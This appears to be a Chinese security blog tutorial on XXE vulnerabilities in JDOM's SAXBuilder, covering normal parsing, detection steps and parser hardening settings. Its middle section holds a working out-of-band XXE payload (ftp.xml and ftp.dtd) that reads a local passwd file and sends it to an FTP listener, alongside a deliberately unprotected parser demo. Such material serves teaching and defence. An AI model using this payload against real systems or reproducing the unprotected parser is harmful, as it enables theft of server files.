0x01 何为SAXBuilder

SAXBuilder是一个JDOM解析器,能将路径中的XML文件解析为Document对象。

SAXBuilder使用第三方SAX解析器(默认情况下由JAXP选择,或者您可以手动配置)来处理解析任务,并使用SAXHandler的实例来侦听SAX事件,以便使用JDOM内容构造文档一个JDOMFactory。

0x02 常规用法Demo

需要下载org.jdom的jar包:http://www.jdom.org/dist/binary/jdom-2.0.6.zip

先定义一个user.xml,用于让DocumentBuilder来解析:

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<user>
<name>Mi1k7ea</name>
<sex>male</sex>
<age>20</age>
</user>

Demo代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class test {
public static void main(String[] args) throws Exception{
File f = new File("user.xml");
saxBuilder(f);
}

public static void saxBuilder(File f){
try {
SAXBuilder saxBuilder = new SAXBuilder();
org.jdom2.Document d = saxBuilder.build(f);
Element root = d.getRootElement();
List<Element> childs = root.getChildren();
for (Element child : childs){
String name = child.getName();
String text = child.getText();
System.out.println(name + ":" + text);
}
} catch (Exception e){
e.printStackTrace();
}
}
}

运行后,发现成功解析了user.xml的内容:

0x03 XML注入漏洞验证

具体的步骤参考之前的博客《XML注入之DocumentBuilder与XXE攻击防御》,这里不再赘述。

下面只进行无回显外带OOB攻击Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class test {
public static void main(String[] args) throws Exception{
File f = new File("user.xml");
saxBuilder(f);
}

public static void saxBuilder(File f){
try {
SAXBuilder saxBuilder = new SAXBuilder();
org.jdom2.Document d = saxBuilder.build(f);
} catch (Exception e){
e.printStackTrace();
}
}
}

ftp.xml

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///e:/passwd">
<!ENTITY % remote SYSTEM "http://127.0.0.1/xxe/ftp.dtd">
%remote;
%all;
]>
<root>&send;</root>

ftp.dtd

1
<!ENTITY % all "<!ENTITY send SYSTEM 'ftp://127.0.0.1:21/%file;'>">

运行本地FTPServer接收数据:

0x04 检测方法

1、在Java项目中搜索org.jdom下的SAXBuilder,排查是否使用了该API解析XML文档内容;

2、若使用了,则进一步排查是否禁用了不安全的操作,具体的是看setFeature()的设置是否存在绕过的可能;

3、除了setFeature()的设置外,检查Reader在read()解析xml数据之前是否采用setEntityResolver()的方式来设置自定义实体解析方式;

0x05 防御方法

1
2
3
4
saxBuilder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
saxBuilder.setFeature("http://xml.org/sax/features/external-general-entities", false);
saxBuilder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
saxBuilder.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);